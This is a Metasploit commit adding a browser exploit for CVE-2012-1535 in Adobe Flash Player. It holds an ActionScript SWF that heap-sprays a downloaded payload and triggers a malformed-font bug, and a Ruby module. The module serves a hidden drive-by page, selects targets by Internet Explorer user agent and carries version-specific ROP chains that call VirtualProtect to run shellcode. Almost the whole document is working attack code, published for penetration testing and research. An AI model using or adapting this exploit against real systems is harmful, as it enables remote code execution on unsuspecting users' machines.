Add exploit for CVE-2012-1535
sinn3r
parent
288fe0395a
commit
13df1480c8
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package {
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import flash.text.engine.*;
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import flash.utils.*;
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import flash.display.*;
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import flash.events.*;
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import flash.net.*;
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import flash.external.*;
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public class Main extends Sprite {
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private var FontClass:Class;
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public var kbArray:ByteArray;
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public var mbArray:ByteArray;
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public var tmpArray:ByteArray;
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public var allocs:Array;
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private var shellcode:String;
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private var urlLoader:URLLoader = new URLLoader();
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public function Main():void{
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this.FontClass = Main_FontClass;
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super();
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var path:String = "/pay.txt";
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var urlRequest:URLRequest = new URLRequest(path);
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urlLoader.dataFormat = URLLoaderDataFormat.TEXT;
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urlLoader.addEventListener(Event.COMPLETE, urlLoader_complete);
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urlLoader.load(urlRequest);
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}
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public function finishExploit(p:String):void{
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this.heapSpray(p);
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this.TextBlock_createTextLineExample();
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}
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public function urlLoader_complete(evt:Event):void {
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finishExploit(urlLoader.data);
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}
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public function TextBlock_createTextLineExample():void{
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var _local1 = "Edit the world in hex.";
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var _local2:FontDescription = new FontDescription("PSpop");
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_local2.fontLookup = FontLookup.EMBEDDED_CFF;
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var _local3:ElementFormat = new ElementFormat(_local2);
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_local3.fontSize = 16;
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var _local4:TextElement = new TextElement(_local1, _local3);
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var _local5:TextBlock = new TextBlock();
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_local5.content = _local4;
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this.createLines(_local5);
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}
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private function createLines(_arg1:TextBlock):void{
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var _local2:Number = 300;
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var _local3:Number = 15;
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var _local4:Number = 20;
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var _local5:TextLine = _arg1.createTextLine(null, _local2);
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while (_local5) {
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_local5.x = _local3;
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_local5.y = _local4;
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_local4 = (_local4 + (_local5.height + 2));
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addChild(_local5);
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_local5 = _arg1.createTextLine(_local5, _local2);
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};
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}
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public function heapSpray(p:String):void{
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var _local1:uint;
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_local1 = 0;
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this.kbArray = new ByteArray();
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this.kbArray.endian = Endian.LITTLE_ENDIAN;
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var _local4:String = p;
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var _local5:ByteArray = this.hexToBin(_local4);
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var _local6:uint = (_local4.length / 2);
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_local1 = 0;
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while (_local1 < 0x0400) {
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this.kbArray.writeByte(12);
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_local1 = (_local1 + 1);
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};
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_local1 = 0;
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this.mbArray = new ByteArray();
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this.mbArray.endian = Endian.LITTLE_ENDIAN;
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while (_local1 < 0x0400) {
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this.mbArray.writeBytes(this.kbArray, 0, this.kbArray.length);
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_local1 = (_local1 + 1);
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};
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_local1 = 0;
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while (_local1 < 0x100000) {
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this.mbArray.position = _local1;
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this.mbArray.writeBytes(_local5, 0, _local5.length);
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_local1 = (_local1 + 65536);
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};
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_local1 = 0;
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this.allocs = new Array();
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while (_local1 < 0x0200) {
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this.tmpArray = new ByteArray();
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this.tmpArray.endian = Endian.LITTLE_ENDIAN;
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this.tmpArray.writeBytes(this.mbArray, 0, this.mbArray.length);
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this.allocs.push(this.tmpArray);
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_local1 = (_local1 + 1);
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};
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}
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private function hexToBin(_arg1:String):ByteArray{
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var _local5:String;
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var _local2:ByteArray = new ByteArray();
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var _local3:uint = _arg1.length;
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var _local4:uint;
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_local2.endian = Endian.LITTLE_ENDIAN;
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while (_local4 < _local3) {
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_local5 = (_arg1.charAt(_local4) + _arg1.charAt((_local4 + 1)));
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_local2.writeByte(parseInt(_local5, 16));
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_local4 = (_local4 + 2);
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};
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return (_local2);
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}
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}
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}
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package {
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import mx.core.*;
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[Embed(source='PSpop.otf'
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,fontFamily ='PSpop'
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,fontStyle ='normal'
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,fontWeight ='normal'
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,embedAsCFF='true'
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)]
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public class Main_FontClass extends FontAsset {
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}
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}
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "Adobe Flash Player Font Parsing Code Execution",
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'Description' => %q{
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This module exploits a vulnerability found in the ActiveX component of Adobe
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Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF,
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it is possible to gain arbitrary remote code execution under the context of the
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user, as exploited in the wild.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'sinn3r',
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'juan vazquez'
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],
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'References' =>
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[
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[ 'CVE', '2012-1535' ],
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[ 'OSVDB', '84607'],
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[ 'BID', '55009'],
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[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
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[ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
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[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ]
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],
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'Payload' =>
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{
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'Space' => 1024
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested successfully on:
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# Flash 11.3.300.268
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# Flash 11.3.300.265
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# Flash 11.3.300.257
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[ 'Automatic', {} ],
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[
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'IE 6 on Windows XP SP3',
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{
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'Rop' => nil
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}
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],
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[
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'IE 7 on Windows XP SP3',
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{
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'Rop' => nil
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}
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],
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[
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'IE 8 on Windows XP SP3',
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{
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'Rop' => true
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Aug 9 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
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], self.class)
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end
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def nop
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return make_nops(4).unpack("L")[0].to_i
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end
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def get_payload(t, flash_version=nil)
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if t['Rop'].nil?
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p = [
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0x0c0c0c0c, # mapped at 1e0d0000
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0x0c0c0c0c,
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0x0c0c0c0c, # mapped at 1e0d0008
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].pack("V*")
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p << payload.encoded
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else
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if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
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print_status("Using Rop Chain For Flash: #{flash_version}")
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stack_pivot = [
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0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
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0x0c0c0c0c,
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0x1001d891, # xchg eax, esp # ret (1e0d0008)
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].pack("V*")
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rop = [
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0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
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0x106e3384, # <- *&VirtualProtect()
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0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
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0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
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0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
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0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
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0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
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0x00000201, # <- change size to mark as executable if needed (-> ebx)
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0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
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0x10955000, # W pointer (lpOldProtect) (-> ecx)
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0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
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0x10649004, # ROP NOP (-> edi)
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0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
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0x00000040, # newProtect (0x40) (-> edx)
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0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
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nop, # NOPS (-> eax)
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0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
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].pack("V*")
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elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
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print_status("Using Rop Chain For Flash: #{flash_version}")
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stack_pivot = [
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0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
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0x0c0c0c0c,
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0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
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].pack("V*")
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rop = [
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0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
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0x106e338c, # <- *&VirtualProtect()
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0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
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0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
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0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
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0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
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0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
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0x00000201, # <- change size to mark as executable if needed (-> ebx)
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0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
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0x10955000, # W pointer (lpOldProtect) (-> ecx)
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0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
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0x105c1812, # ROP NOP (-> edi)
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0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
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0x00000040, # newProtect (0x40) (-> edx)
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0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
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nop, # NOPS (-> eax)
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0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
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].pack("V*")
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elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
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print_status("Using Rop Chain For Flash: #{flash_version}")
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stack_pivot = [
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0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
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0x0c0c0c0c,
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0x1001d755, # xchg eax, esp # ret (1e0d0008)
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].pack("V*")
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rop = [
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0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
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0x106e438c, # <- *&VirtualProtect()
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0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
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0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
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0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
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0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
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0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)
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0x00000201, # <- change size to mark as executable if needed (-> ebx)
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0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)
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0x1083c000, # RW pointer (lpOldProtect) (-> ecx)
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0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)
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0x10308b0f, # ROP NOP (-> edi)
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0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)
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0x00000040, # newProtect (0x40) (-> edx)
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0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
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nop, # NOPS (-> eax)
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0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)
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].pack("V*")
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else
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print_status("Default back to JRE ROP")
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stack_pivot = [
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0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
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0x0c0c0c0c,
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0x7c348b05, # xchg eax, esp # ret (1e0d0008)
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].pack("V*")
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rop = [
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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0x00001000, # (dwSize)
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0x7c347f98, # RETN (ROP NOP)
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0x7c3415a2, # JMP [EAX]
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0xffffffff,
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0x7c376402, # skip 4 bytes
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0x7c345255, # INC EBX # FPATAN # RETN
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
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0x7c344f87, # POP EDX # RETN
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0x00000040, # flNewProtect
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0x7c34d201, # POP ECX # RETN
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0x7c38b001, # &Writable location
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0x7c347f97, # POP EAX # RETN
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
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0x7c345c30, # ptr to 'push esp # ret '
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].pack("V*")
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end
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p = stack_pivot
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p << rop
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p << payload.encoded
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end
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return p
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
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return targets[3] #IE 8 on Windows XP SP3
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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print_status("User-agent: #{agent}")
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my_target = get_target(agent)
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print_status("Client requesting: #{request.uri}")
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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print_error("Browser not supported: #{agent}")
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send_not_found(cli)
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return
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end
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# The SWF request itself
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if request.uri =~ /\.swf$/
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print_status("Sending SWF")
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send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
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return
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end
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# The TXT payload request
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if request.uri =~ /\.txt$/
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flash_version = request.headers['x-flash-version']
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shellcode = get_payload(my_target, flash_version).unpack('H*')[0]
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print_status("Sending Payload")
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send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
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return
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end
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swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"
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html = %Q|
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<html>
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<head>
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</head>
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<body>
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<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
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<param name="movie" value="#{swf_uri}">
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</object>
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</body>
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</html>
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html = html.gsub(/^\t\t/, '')
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# we need to handle direct /pay.txt requests
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proc = Proc.new do |cli, req|
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on_request_uri(cli, req)
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end
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||||
add_resource({'Path' => "/pay.txt", 'Proc' => proc}) rescue nil
|
||||
|
||||
print_status("Sending HTML")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
print_status("SWF Loaded: #{@swf.length.to_s} bytes")
|
||||
super
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "trigger.swf" )
|
||||
fd = ::File.open( path, "rb" )
|
||||
swf = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
return swf
|
||||
end
|
||||
|
||||
def cleanup
|
||||
vprint_status("Removing txt resource")
|
||||
remove_resource('/pay.txt') rescue nil
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue